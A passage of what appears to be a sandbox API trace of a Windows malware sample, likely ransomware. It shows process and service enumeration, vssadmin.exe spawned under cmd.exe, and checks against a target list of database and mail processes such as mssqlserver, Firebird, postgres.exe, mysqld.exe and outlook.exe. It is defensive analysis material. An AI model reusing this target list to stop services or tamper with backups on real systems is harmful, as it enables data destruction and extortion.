[0149.020] lstrlenW (lpString="reader_sl.exe") returned 13 [0149.020] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0149.020] lstrlenW (lpString="rundll32.exe") returned 12 [0149.020] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0149.020] lstrlenW (lpString="dinotify.exe") returned 12 [0149.020] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0149.021] lstrlenW (lpString="n.exe") returned 5 [0149.021] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0149.021] lstrlenW (lpString="cmd.exe") returned 7 [0149.021] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0149.022] lstrlenW (lpString="conhost.exe") returned 11 [0149.022] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x700, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0149.022] lstrlenW (lpString="vssadmin.exe") returned 12 [0149.022] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x700, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0149.022] CloseHandle (hObject=0x1d4) returned 1 [0149.022] Sleep (dwMilliseconds=0x1f4) [0149.623] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42f9668 [0149.623] EnumServicesStatusExW (in: hSCManager=0x42f9668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0149.624] GetLastError () returned 0xea [0149.624] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1178) returned 0x434b140 [0149.624] EnumServicesStatusExW (in: hSCManager=0x42f9668, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x434b140, cbBufSize=0x1178, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x434b140, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0149.624] CloseServiceHandle (hSCObject=0x42f9668) returned 1 [0149.624] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0149.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0149.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0149.625] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0149.625] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0149.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0149.625] lstrlenW (lpString="AudioSrv") returned 8 [0149.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0149.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0149.625] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0149.625] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0149.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0149.625] lstrlenW (lpString="BFE") returned 3 [0149.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0149.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0149.625] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0149.625] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0149.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0149.625] lstrlenW (lpString="CryptSvc") returned 8 [0149.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0149.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0149.625] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0149.625] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0149.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0149.625] lstrlenW (lpString="CscService") returned 10 [0149.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0149.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0149.625] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0149.625] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0149.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0149.625] lstrlenW (lpString="DcomLaunch") returned 10 [0149.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.625] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0149.625] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0149.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0149.626] lstrlenW (lpString="Dhcp") returned 4 [0149.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0149.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0149.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0149.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0149.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0149.626] lstrlenW (lpString="Dnscache") returned 8 [0149.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0149.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0149.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0149.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0149.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0149.626] lstrlenW (lpString="DPS") returned 3 [0149.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0149.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0149.626] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0149.626] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0149.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0149.626] lstrlenW (lpString="eventlog") returned 8 [0149.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0149.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0149.626] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0149.626] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0149.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0149.626] lstrlenW (lpString="EventSystem") returned 11 [0149.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0149.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0149.626] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0149.626] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0149.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0149.626] lstrlenW (lpString="gpsvc") returned 5 [0149.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0149.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0149.627] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0149.627] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0149.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0149.627] lstrlenW (lpString="iphlpsvc") returned 8 [0149.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0149.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0149.627] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0149.627] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0149.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0149.627] lstrlenW (lpString="LanmanServer") returned 12 [0149.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0149.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0149.627] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0149.627] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0149.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0149.627] lstrlenW (lpString="LanmanWorkstation") returned 17 [0149.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.627] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0149.627] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0149.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0149.627] lstrlenW (lpString="lmhosts") returned 7 [0149.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0149.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0149.627] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0149.627] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0149.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0149.627] lstrlenW (lpString="MMCSS") returned 5 [0149.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0149.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0149.627] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0149.627] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0149.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0149.628] lstrlenW (lpString="MpsSvc") returned 6 [0149.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0149.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0149.628] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0149.628] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0149.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0149.628] lstrlenW (lpString="Netman") returned 6 [0149.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0149.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0149.628] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0149.628] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0149.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0149.628] lstrlenW (lpString="netprofm") returned 8 [0149.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0149.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0149.628] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0149.628] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0149.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0149.628] lstrlenW (lpString="NlaSvc") returned 6 [0149.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0149.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0149.628] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0149.628] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0149.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0149.628] lstrlenW (lpString="nsi") returned 3 [0149.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0149.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0149.628] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0149.628] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0149.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0149.628] lstrlenW (lpString="PcaSvc") returned 6 [0149.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0149.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0149.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0149.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0149.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0149.629] lstrlenW (lpString="PlugPlay") returned 8 [0149.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0149.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0149.629] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0149.629] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0149.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0149.629] lstrlenW (lpString="Power") returned 5 [0149.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0149.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0149.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0149.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0149.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0149.629] lstrlenW (lpString="ProfSvc") returned 7 [0149.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0149.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0149.629] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0149.629] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0149.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0149.629] lstrlenW (lpString="RpcEptMapper") returned 12 [0149.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.629] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0149.629] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0149.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0149.629] lstrlenW (lpString="RpcSs") returned 5 [0149.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0149.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0149.629] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0149.629] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0149.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0149.630] lstrlenW (lpString="SamSs") returned 5 [0149.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0149.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0149.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0149.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0149.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0149.630] lstrlenW (lpString="Schedule") returned 8 [0149.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0149.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0149.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0149.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0149.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0149.630] lstrlenW (lpString="SENS") returned 4 [0149.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0149.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0149.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0149.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0149.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0149.630] lstrlenW (lpString="ShellHWDetection") returned 16 [0149.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.630] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0149.630] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0149.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0149.630] lstrlenW (lpString="Spooler") returned 7 [0149.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0149.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0149.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0149.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0149.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0149.630] lstrlenW (lpString="SysMain") returned 7 [0149.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0149.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0149.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0149.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0149.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0149.631] lstrlenW (lpString="Themes") returned 6 [0149.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0149.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0149.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0149.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0149.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0149.631] lstrlenW (lpString="TrkWks") returned 6 [0149.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0149.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0149.631] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0149.631] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0149.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0149.631] lstrlenW (lpString="UxSms") returned 5 [0149.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0149.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0149.631] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0149.631] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0149.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0149.631] lstrlenW (lpString="WdiServiceHost") returned 14 [0149.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0149.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0149.631] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0149.631] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0149.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0149.631] lstrlenW (lpString="WdiSystemHost") returned 13 [0149.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0149.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0149.631] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0149.631] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0149.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0149.632] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0149.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0149.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0149.632] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0149.632] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0149.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0149.632] lstrlenW (lpString="Winmgmt") returned 7 [0149.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0149.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0149.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0149.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0149.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0149.632] lstrlenW (lpString="WPDBusEnum") returned 10 [0149.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0149.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0149.632] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0149.632] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0149.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0149.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x434b140 | out: hHeap=0x630000) returned 1 [0149.632] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2ac [0149.634] Process32FirstW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.634] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0149.634] lstrlenW (lpString="System") returned 6 [0149.635] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0149.635] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0149.635] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0149.635] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0149.635] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0149.635] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0149.635] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0149.635] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0149.635] lstrlenW (lpString="smss.exe") returned 8 [0149.635] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0149.635] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0149.635] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0149.635] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0149.635] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0149.635] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0149.635] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0149.635] Process32NextW (in: hSnapshot=0x2ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.636] lstrlenW (lpString="csrss.exe") returned 9 [0149.636] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0149.636] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0149.636] lstrcmpiW (lpString1="outlook.exe", 